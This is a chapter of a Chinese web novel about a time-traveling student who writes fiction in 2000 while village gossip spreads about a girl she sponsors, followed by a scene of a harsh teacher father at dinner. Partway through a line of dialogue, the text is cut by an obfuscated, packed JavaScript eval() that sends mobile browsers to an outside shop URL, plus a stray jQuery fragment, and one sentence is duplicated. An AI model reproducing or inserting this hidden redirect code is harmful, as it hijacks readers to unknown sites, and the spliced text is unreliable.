2000年算是纸媒的黄金时代了。
江行月花了三天时间,把县城里有书的地方都跑了个遍。
在店员的推荐下,她了解到了现在受欢迎的小说类型,买了好几本书回去。在店员的推荐下,她摸清现在流行什么类型,买了好几本书回去。
回去后,她把书和杂志翻了翻,心里大概有数了。她本来就是文学系的,平时也比较喜欢写东西,构思了个大概情节,准备先写个五千字的短篇去试试水。
江行月坐到书桌前,拿起笔。写了一会儿,手腕就酸了。平时她都边听歌边写,这里没有手机,不到一会就开始怀念自己的键盘了,要不是黑网吧太贵加上自己现在的身份是16岁未成年,她早就跑过去了。
她盯着稿纸发呆,笔无意识地在纸上戳着,洇开一点墨。
江行月叹了口气,把稿纸揉成一团扔在桌角,低头瞥了眼手表,5%的数字稳稳停在表盘微光里,命运线暂时平稳,可自己连一篇试水短篇都写不顺畅,心底多了点焦灼。她正准备重新提笔,门外传来脚步声。
沈言蹊敲了敲门,站在门口,嘴唇动了动,没出声。
沈言蹊面色凝重,江行月看着,右手扣住手表,声音紧了几分:“怎么了?是不是我妈那边出事了?”
“不是。”沈言蹊摇头,“王老师给我打了电话,说学校里有人传闲话。”
“什么闲话?”江行月心头猛地一紧,下意识低头看向表盘,好在偏离度依旧维持在5%,暂时没有因为闲话产生命运动荡。
“就是,”他沉吟片刻,“说赵云梨被资助是有条件的,说什么的都有,还有的说她和城里来的大老板订婚了,彩礼都收了。”
江行月心头一紧。
沈言蹊确实不想告诉她这些,可这事关系到赵云梨,他不能替她做决定。
“王老师说影响不大,”沈言蹊把水杯递给她,“就是几个学生在背后嚼舌头。后天中考成绩就出来了,成绩一出来,流言自己就散了。”
“可是……”
“你不可能替她打一辈子的仗。”
话说完,房间安静下来。沈言蹊静静地看着她,没有再开口。他就站在那里,像一堵不高不矮的墙,能挡风,但不挡路。
江行月慢慢松开了手指,把水杯放下。她知道他说得对,有些路,得让她自己走过去。
“等后天成绩出来了,我们再一起去学校。”
“好。”沈言蹊应了一声,顿了顿,声音里带着笑意,“这次我骑摩托车带你,你可不要害怕啊。”
“不会。”她重新坐在椅子上。
沈言蹊目光扫过桌角揉皱的稿纸,轻声发问:“没有思路?”
“也算吧,主要手写太累,太怀念键盘了。”她懒懒应声,心头攒着一丝无处安放的无力。
“那听点歌怎么样?我买了个mp3忘记告诉你了,等着,我给你拿过来。”
沈言蹊没有关门,慢慢走了出去。
桌上的稿纸还摊在那里,纸团滚到了桌角。她重新坐下来,抬手看向手表,微光依旧平和,5%没有下降,说明赵云梨未触发命运大幅偏移。
她拿着笔,静静地发呆。
门外传来轻缓的脚步声,沈言蹊折返回来,抬手将MP3轻轻递到桌前,语气温柔:“给你随身听,不要不开心了。”
江行月伸手接过,慢慢戴好耳机,深吸了一口气。
耳机里传来一声轻微的电流响,然后前奏响了起来,钢琴干净地敲进来,‘我怕来不及,我要抱着你’。
她把笔落下去,重新写第一行字。耳机里的歌声还在响。
而在这个村子里,最不缺的就是来不及。
“唉,听说了吗?赵岸英他闺女让人给资助了,说是给钱上学。”
“可不是嘛,上回我看见两辆摩托车停在他家,可气派了。”
“你们怎么知道的?”
“我小舅子去镇上,和初中的一个主任碰见了,听人家说的。”
“听说来的是城里人,还是个大学生,男的女的啊?”
“一男一女,说是兄妹。”
“真的假的,大学生都这么大方吗?”
“我上次见了家秀他弟,他还问我件事是不是真的呢!我说那当然是真的了,也不知道你这舅舅是怎么当的,自家外甥女的事都不知道!”
“你们不懂了吧,我看啊,哪是什么资助,哪有天上掉馅饼的好事?”
”你说说一个大学生还是个男的,资助一个小姑娘,钱多的没地方花了吗?你说这是要干什么?”
“你是说……”
……
流言不止在校园滋生,很快顺着人情往来,蔓延到了整个村落。它就像田里的野草,没人在意它是怎么长出来的,但它就是一天比一天茂盛。
伏案写作许久的江行月有点儿累了,揉了揉手腕,刚刚站起来伸了个懒腰,就听见了脚步声。
她顺势推开门。
沈言蹊站在门外,见到她时眼里带着一点惊讶。
他最近一直在找工作,离开的时候穿的是干净的白衬衫,此刻衬衫上沾了几道灰,袖口卷到手肘,裤腿上还沾着泥点子。
手里捏着一个牛皮纸信封,察觉到她的目光,还下意识把信封稍稍往后藏了藏。
江行月看在眼里,心里知道他有事瞒着自己,但没有戳穿,指尖无意识蹭过手表表盘,默默留意着数值变化,依旧是固定的5%,她稍稍安了心。
“找到了?”江行月问。
“没有。”沈言蹊声音低沉。
江行月站在门口静静的看着他。
夕阳的余光打在江行月身上,既让她的五官显得柔和,也让她显得有点儿不高兴。
沈言蹊望着她,声音轻了下来:“明天再去。中午了,我先去做饭,你有什么想吃的吗?”
“我都可以。”
“什么都可以?”画面一转,中午回到家,郑主任一家人围在桌子上吃饭。他坐在主位,他媳妇朱远芳坐在左边,两个儿子在右边。饭桌上只有碗筷碰碗沿的轻响,看起来规矩得很。
郑主任抬眼,看见小儿子正用筷子尖一下下戳着碗底,眉头一皱,筷子往桌上一磕,劈头盖脸的一顿骂,“一天天的,一点主见都没有,想吃啥都不知道?怎么没饿死你?“
郑明飞肩膀缩了一下,豆角从筷子尖掉回碗里。
“都像你这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745029|209251||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,学习怎么能好?你就不能跟你哥学学?“郑主任冷眼瞧着,恨铁不成钢地说,“我真不明白了,都是我的种,怎么一个天上一个地下?“
“孩他爸,都吃饭呢。“朱远芳刚开口,郑主任眼风一扫,声音暴躁,“我说什么,这不都是你惯的。“
朱远芳一听这话火气噌的一下就上来了,“啪”地一声把碗往桌上一磕,溅出两粒米,“别给脸不要脸,在学校让孙子回家见到我就冲大爷是吧,跟我撒什么气?”
郑主任腮帮子鼓了鼓,真应了朱远芳的那句话,欺软怕硬,他没吭声,转过脸,对面墙上奖状贴得满满当当。
郑主任眉头松了松,明远真不愧是我儿子,看看这么多奖状,有我当年的风采。
他嘴角刚翘起来,忽然停住。最边上那张,红底金字,但却清清楚楚的写着——第二名。
他筷子悬在半空,那次的第一是谁?
是赵云梨,这个小丫头片子,命真好呀,竟然还有人资助她。他当年可是一个帮他的人都没有。丫头片子读什么书,出来还不是嫁人?这名额不给明远,也该给其他男同学。
郑明远正夹着一块土豆,余光瞥见郑主任在瞧着墙上的奖状,心里一紧。
果然,郑主任筷子“啪”地拍在桌上:“你这孩子吃饭磨磨唧唧的,中考完几天了,心还没收?高一教材看了没有?”
“吃饭呢,吵什么。”朱远芳不耐烦的用胳膊肘捅了捅他。
“什么吵什么。”话虽这样说,郑主任还是压低了些声音,克制怒火,“你们吃的用的,不都花我的钱?”
他瞪着郑明远,“别以为读了高中就能翅膀硬。老子管不了你?”
郑明远垂着眼,筷子在碗里划拉,把米饭戳出一个个小坑。他觉得自己压根就没长过翅膀,也不知道父亲在怕什么。
“爸,我没有。”
“你没有?”郑主任声音陡然拔高,“我天天教你,你怎么还不是次次第一?上了高中没我管着,你能考多少?之前那次第一是不是赵云梨!”
郑主任是越说越有理,人也越来越气,声音再次升高,“你什么条件,她什么条件?现在人家也要上一高了,一点危机意识都没有!”
朱远芳听完白了他一眼,他声音大,她声音就比他更大,你不怕丢人,我就怕丢人了?那不能够。她也嚷嚷着,“这是教师公寓,想让其他老师看笑话?”
郑主任收了声,后槽牙磨了磨,瞪着郑明远。
郑明远被那道目光看得心烦意乱,好在他向来知道怎么应付自己的父亲,脸不红心不跳的开口:“爸,我吃好了,先进屋头学习了,虽然放假了,但我也不能松懈。”
“行,去吧。”郑主任眼珠子还瞪着,火没处发,筷子头转向小儿子,“还有你,郑明飞,能不能跟你哥学学?烂泥扶不上墙的玩意儿。”
“能不能好好吃饭了?”
郑明远进了房间,反手把门扣上。参考书翻开,第一页翻了几遍,字没进脑子。笔拿起来,又放下,纸上只有几个墨团。他把书一合,走到床边,抱起一个枕头,手伸到枕头套里,掏了半天,摸出一个笔记本。
他拿着笔记本回到桌边,这一次,他写了很久。